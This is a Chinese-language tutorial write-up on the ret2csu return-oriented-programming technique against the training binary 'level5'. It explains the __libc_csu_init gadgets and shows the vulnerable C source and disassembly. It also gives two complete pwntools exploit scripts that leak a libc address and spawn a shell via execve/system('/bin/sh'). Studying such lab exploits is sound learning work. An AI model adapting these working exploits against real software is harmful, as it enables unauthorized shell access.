在x64的程序中,函数的前六位参数是通过寄存器来进行传递的,传参顺序分别是rdi , rsi , rdx , rcx , r8 , r9
,超过六位的参数则通过栈进行传参。但是大多数时候,我们很难恰好找到控制这些寄存器的 gadgets 。这时候就可以利用x64下的 __libc_csu_init 中的 gadgets ,因为这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定存在。同时利用完这段 gadget 之后可以控制函数的前三个参数(即 rdi rsi rdx)以及其他寄存器和调用函数地址,所以这个 gadget 也被称为 通用 gadget
以蒸米的level5为例,找到 __libc_csu_init 的地址(可能是不同版本libc或者编译器选项对这个函数地址和指令有一定影响)
用objdump来反汇编,-d 表示进行反汇编,-M intel 表示选择intel架构的汇编,默认是AT&T
1
|
objdump -d -M intel ./level5
|
- 从0x400606到0x400628这段地址,将rsp偏移+8,+16,+24,+32,+40,+48的值依次赋给rbx,rbp,r12,13,r14,r15,然后将rsp+0x38,执行ret。意味着可以利用栈溢出构造栈上数据来控制这些寄存器,而这些寄存器的值恰好可以为gadget2所用,最后通过覆盖ret重新控制程序执行流程。
- 从0x4005F0到0x4005F9这段地址,将r15,r14,r13d分别赋值给rdx,rsi,edi(这里赋值给的是rdi的低32位,但是rdi的高32位寄存器是0,所以可以控制rdi,虽然只能控制rdi的低32位),而这三个寄存器是 x64 函数调用中传递的前三个寄存器。call指令的地址由r12和rbx这两个寄存器控制,如果可以控制r12和rbx,就可以调用我们想要调用的函数(通常为了方便,会把rbx设置为0,用r12来控制函数地址)。
- 从0x4005FD到0x400604这段地址,为了不让程序重复跳转到 loc_4005F0,只需要控制 rbx+1==rbp 即可,前面rbx=0,所以把rbp=1。程序继续向下执行回到gadget1,而0x400624地址的指令让rsp+0x38,所以需要0x38个字符来填充,最后覆盖掉ret的地址,这样就可以完成一次ROP。
继续以刚才的level5为例,其C源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
|
保护机制
1
2
3
4
5
6
7
|
gnq@gnq:~/c/ROP_STEP_BY_STEP/linux_x64$ checksec level5
[*] '/home/gnq/c/ROP_STEP_BY_STEP/linux_x64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
通过IDA找到漏洞点,read函数存在栈溢出
1
2
3
4
5
6
|
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
|
程序并没有system函数和/bin/sh直接供我们利用,用ROPgadget查看可以调用的gadget也不多,那么就可以利用ret2csu
利用思路:
- payload1 通过 libc_csu_init 函数的gadget 调用 write 函数 泄露出 write_got 的地址,并且重新返回main函数
- 通过泄露出来的write_got,计算libc基址,找到excve函数地址
- payload2 再次执行 libc_csu_init函数的gadget,用read函数在bss段写入execve函数地址,bss+8写入/bin/sh的字符串,并重新返回main函数
- payload3 再次执行 libc_csu_init函数的gadget,调用执行bss段中的execve("/bin/sh")
通过栈溢出把返回地址覆盖成libc_csu_init 的gadget1,在栈上布置参数让rbx=0,rbp=1,r12=write_got,r13=1,r14=write_got,r15=8,再ret到gadget2(因为赋值是从rsp+8开始,所以需要填充8个字节给rsp)
1
2
3
4
5
6
7
8
|
.text:0000000000400606 mov rbx, [rsp+8] ; gadget1
.text:000000000040060B mov rbp, [rsp+16]
.text:0000000000400610 mov r12, [rsp+24]
.text:0000000000400615 mov r13, [rsp+32]
.text:000000000040061A mov r14, [rsp+40]
.text:000000000040061F mov r15, [rsp+48]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
|
程序执行流程跳转到gadget2,会将r15赋值给rdx,r14赋值给rsi,r13d赋值给edi。由于之前控制r12=write_got,rbx=0。所以程序会call write_got。这样就可以执行write(1,write_got,8)泄露write_got的地址
1
2
3
4
|
.text:00000000004005F0 mov rdx, r15 ; fd gadget2
.text:00000000004005F3 mov rsi, r14 ; buf
.text:00000000004005F6 mov edi, r13d ; count
.text:00000000004005F9 call qword ptr [r12+rbx*8]
|
之前在gadget1已经让rbx=0,rbp=1,所以程序会继续向下执行,也就是回到gadget1(否则程序又会跳转到loc_4005F0),因为0x400624的指令是 add rsp,38h,所以需要0x38个字节来填充,最后再ret到main函数为接下来的操作做准备
1
2
3
|
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0 ; gadget2
|
经过payload1已经泄露了write_got的地址,用libcsearcher计算出libc的基址和execve的地址(这里我用在线找libc偏移),再次调用 libc_csu_init 的gadget 用read函数在bss段写入execve、bss+8写入/bin/sh,让程序再次返回main
再通过 libc_csu_init 的gadget 执行execve("/bin/sh")
tips:这里的exp与Wiki上面的不一样,可能是因为libc版本或者编译器导致的 libc_csu_init 函数的地址和指令不一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
#!/usr/bin/python
#!coding:utf-8
from pwn import *
#context.log_level='debug'
p=process("./level5")
elf=ELF("./level5")
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.symbols['main']
bss_addr=elf.bss()
gadget1=0x400606
gadget2=0x4005F0
def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload='a'*0x80 + 'b'*0x8 + p64(gadget1) # padding + fake_ebp + ret
payload+=p64(0) # 填充rsp,给寄存器赋值是从rsp+8开始
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
# rbx should be 0
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# r13d=rdi=edi
# r14=rsi
# r15=rdx
payload+=p64(gadget2) # ret
payload+='a'*0x38 # padding
payload+=p64(ret) # ret
return payload
p.recvuntil("Hello, World\n")
payload1=csu(0,1,write_got,1,write_got,8,main_addr) # leak write
p.sendline(payload1)
log.success("\n===== send payload1 =====\n")
write_addr=u64(p.recv(6).ljust(8,'\x00'))
log.success("write_addr:{}".format(hex(write_addr)))
libc=ELF("./libc6_2.23-0ubuntu11.2_amd64.so")
libc_base=write_addr-libc.symbols['write']
execve_addr=libc_base+libc.symbols['execve']
log.success("execve_addr:{}".format(hex(execve_addr)))
p.recvuntil("Hello, World\n")
payload2=csu(0,1,read_got,0,bss_addr,0x100,main_addr) # 在bss_base写入execve ,bss+8写入/bin/sh
p.sendline(payload2)
p.send(p64(execve_addr)+'/bin/sh\x00')
log.success("\n===== send payload2 =====\n")
#p.recvuntil("Hello, World\n")
payload3=csu(0,1,bss_addr,bss_addr+8,0,0,main_addr) # getshell
p.sendline(payload3)
log.success("\n===== send payload3 =====\n")
p.interactive()
|
贴一下蒸米的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
|
好好说话之ret2csu
Mac PWN 入门系列(七)Ret2Csu
一步一步学ROP之linux_x64篇 – 蒸米